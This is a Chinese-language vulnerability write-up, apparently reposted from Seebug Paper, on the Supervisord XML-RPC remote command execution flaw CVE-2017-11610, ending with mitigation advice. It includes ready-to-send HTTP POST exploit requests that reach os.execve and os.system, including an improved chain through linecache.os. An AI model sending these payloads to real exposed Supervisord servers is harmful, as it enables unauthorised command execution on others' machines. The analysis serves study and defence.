作者:phith0n@長亭科技

前幾天 Supervisord 出現了一個需認證的遠程命令執行漏洞(CVE-2017-11610),在對其進行分析以后,將靶場加入了 Vulhub 豪華套餐

Supervisord

Supervisord 是一款 Python 開發,用于管理后臺應用(服務)的工具,其角色類似于 Linux 自帶的 Systemd。

我覺得它相比 Systemd 有幾個特點:

  1. 配置比較簡單
  2. 一個簡單的第三方應用,與系統沒有耦合
  3. 提供HTTP API,支持遠程操作

所以,我之前把他用來跑一些Web應用。

Supervisord 的架構分為 Server 和 Client,Server 以一個服務的形式,跑在系統后臺,而 Client 是一個命令行工具,其實就是根據用戶的要求,調用 Server 提供的 API,執行一些工作。

查看 Supervisord 的配置文件可知,默認情況下,Server 端監聽在 unix 套接字 unix:///tmp/supervisor.sock 上,而 Client 配置的 serverurl 也是這個地址:

[unix_http_server]
file=/tmp/supervisor.sock   ; the path to the socket file
;chmod=0700                 ; socket file mode (default 0700)
;chown=nobody:nogroup       ; socket file uid:gid owner
;username=user              ; default is no username (open server)
;password=123               ; default is no password (open server)

;[inet_http_server]         ; inet (TCP) server disabled by default
;port=127.0.0.1:9001        ; ip_address:port specifier, *:port for all iface
;username=user              ; default is no username (open server)
;password=123               ; default is no password (open server)

[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL  for a unix socket
;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
;username=chris              ; should be same as in [*_http_server] if set
;password=123                ; should be same as in [*_http_server] if set
;prompt=mysupervisor         ; cmd line prompt (default "supervisor")
;history_file=~/.sc_history  ; use readline history if available

所以,Client 端去連接配置文件中的 serverurl 的地址,并與其使用 RPC 協議(基于 HTTP 協議)通信。比如我們平時常用的命令(啟動名為 web 的服務):supervisorctl start web,看下其數據包:

其實很簡單的協議,通過 XML,將 methodName 和 params 通過 HTTP 協議傳給服務端進行執行。start 命令執行的是 supervisor.startProcess 方法,僅有一個參數就是服務的名稱。

另外,如果我設置了 [inet_http_server] 段,即可將 Supervisord 監聽在 TCP 端口上,這樣外部其他程序也能進行調用。我們可以直接將默認配置文件中這一段前面的分號去掉,就默認監聽在 9001 端口上了。

漏洞分析

CVE-2017-11610 的本質是一個不安全的對象引用+方法調用,十分類似 Java 中的反序列化漏洞。

在上一章中我說了,Supervisord 的控制實際上就是一個 C/S 以 RPC 協議的通信的過程,而 RPC 協議(遠程過程調用協議),顧名思義就是 C 端通過 RPC 協議可以在 S 端執行某個函數,并得到返回結果。那么,如果 C 端執行了 S 端預料之外的函數(如 os.system),那么就會導致漏洞的產生。

一個安全的 RPC 協議,會有一個函數名的映射,也就是說 C 端只能調用在白名單之中的部分函數,并且這個“函數”只是真正函數的一個映射。

而我們來看看 3.3.2 版本中 Supervisord 是如何處理 RPC 調用的:

class supervisor_xmlrpc_handler(xmlrpc_handler):
    ...

    def call(self, method, params):
        return traverse(self.rpcinterface, method, params)

def traverse(ob, method, params):
    path = method.split('.')
    for name in path:
        if name.startswith('_'):
            # security (don't allow things that start with an underscore to
            # be called remotely)
            raise RPCError(Faults.UNKNOWN_METHOD)
        ob = getattr(ob, name, None)
        if ob is None:
            raise RPCError(Faults.UNKNOWN_METHOD)

    try:
        return ob(*params)
    except TypeError:
        raise RPCError(Faults.INCORRECT_PARAMETERS)

supervisor_xmlrpc_handlerl 類用于處理 RPC 請求,其 call 方法就是真正執行遠程調用的函數。在 call 方法中調用了 traverse 函數,跟進這個函數,我們發現他的邏輯是這樣:

  1. 將 path 用點號分割成數組
  2. 遍歷這個數組,每次獲得一個 name
  3. 如果 name 不以下劃線開頭,則獲取 ob 對象的 name 屬性,其作為新的 ob 對象
  4. 遍歷完成后獲得最終的 ob 對象,調用之

所以,實際上這個函數最后達成的效果就是:初始 ob 對象下的任意 public 方法,包括它的所有遞歸子對象的任意 public 方法,都可以被調用

而此處,ob 對象即為 self.rpcinterface,官方開發者可能認為可調用的方法只限制在這個對象內部,所以沒有做特別嚴格的白名單限制。

而 CVE-2017-11610 的發現者發現,在 self.rpcinterface.supervisor.supervisord.options 對象下,有一個方法 execve,其相當于直接調用了系統的 os.execve 函數,是可以直接執行任意命令的:

class ServerOptions(Options):
    ...    
    def execve(self, filename, argv, env):
        return os.execve(filename, argv, env)

所以,最后給出利用 POC(RPC 協議如何構造數據包、XML 是什么格式,這個可以自己去看看文檔):

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 439

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.execve</methodName>
<params>
<param>
<string>/usr/local/bin/python</string>
</param>
<param>
<array>
<data>
<value><string>python</string></value>
<value><string>-c</string></value>
<value><string>import os;os.system('touch /tmp/success');</string></value>
</data>
</array>
</param>
<param>
<struct>
</struct>
</param>
</params>
</methodCall>

POC 缺陷與改進

當然,漏洞發現者找到的這個 self.rpcinterface.supervisor.supervisord.options.execve 其實不是那么好用,原因是,Python 的 os.execve 函數會使用新進程取代現有的進程。也就是說,這里會導致 Supervisord 本身退出。

基于 Docker 容器的 Supervisord(如 Vulhub 里這個靶場),如果基礎進程 Supervisord 被退出,那么將導致整個容器被退出,即使我們執行了任意命令,我們獲得的權限也是轉瞬即逝的。

另外,即使非Docker環境,我們在測試漏洞的過程中影響到了線上業務,這個后果是無法估量的,所以我們必須想其他方法來穩定的利用漏洞。

我說兩個方法。

法一:先Fork一個新進程

同樣在 self.rpcinterface.supervisor.supervisord.options 對象中,有一個 fork 方法,是調用了系統的 os.fork 函數。

os.fork 函數的作用就是根據當前進程,派生一個新的子進程。所以,即使當前進程被意外結束了,也不會導致 Supervisord 服務終止,因為派生的進程還留存著。

所以,先發送如下數據包即可派生新進程:

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.fork</methodName>
<params>
</params>
</methodCall>

然后再發送之前的 POC 即可。

但這個方法還是會影響 Docker 容器。

法二:找尋其他利用鏈

這個漏洞和一些反序列化漏洞類似,都是去找到一個不安全的對象。那么,除了原作者給出的 self.rpcinterface.supervisor.supervisord.options.execve(),是不是還可以找到其他更好用的利用鏈呢?

通過一系列調試,我找到了一個利用鏈: supervisor.supervisord.options.warnings.linecache.os.system(),其實目的很簡單,就是想方設法找到非下劃線開頭的屬性中,是否有引用 os 模塊。linecache 中引用了 os 模塊:

所以,構造如下數據包:

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

即可直接執行任意命令。如,反彈 shell:

漏洞影響與修復

出現這個漏洞,一般有幾個條件:

  1. Supervisord 版本在受影響的范圍內
  2. RPC 端口可被訪問
  3. RPC 無密碼或密碼脆弱

第二個條件其實不太容易達到。默認安裝的 Supervisord,是只監聽 unix 套接字的,所以外部IP根本無法訪問。

另外,如果你已經拿到了一臺機器的低權限,想訪問本地的 unix 套接字,利用該漏洞提權,也是不現實的:原因是 supervisord.sock 文件權限默認是 0700,其他用戶無法訪問,能夠訪問的用戶權限和它是一樣的,也就不存在提權的說法了。

當然,如果運維同學不小心將 RPC 端口開放了,并且使用了默認密碼或沒有設置密碼,那么借助這個漏洞進行攻擊,也是很不錯的。

如何修復這個漏洞?

  1. 升級 Supervisord
  2. 端口訪問控制
  3. 設置復雜 RPC 密碼

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/367/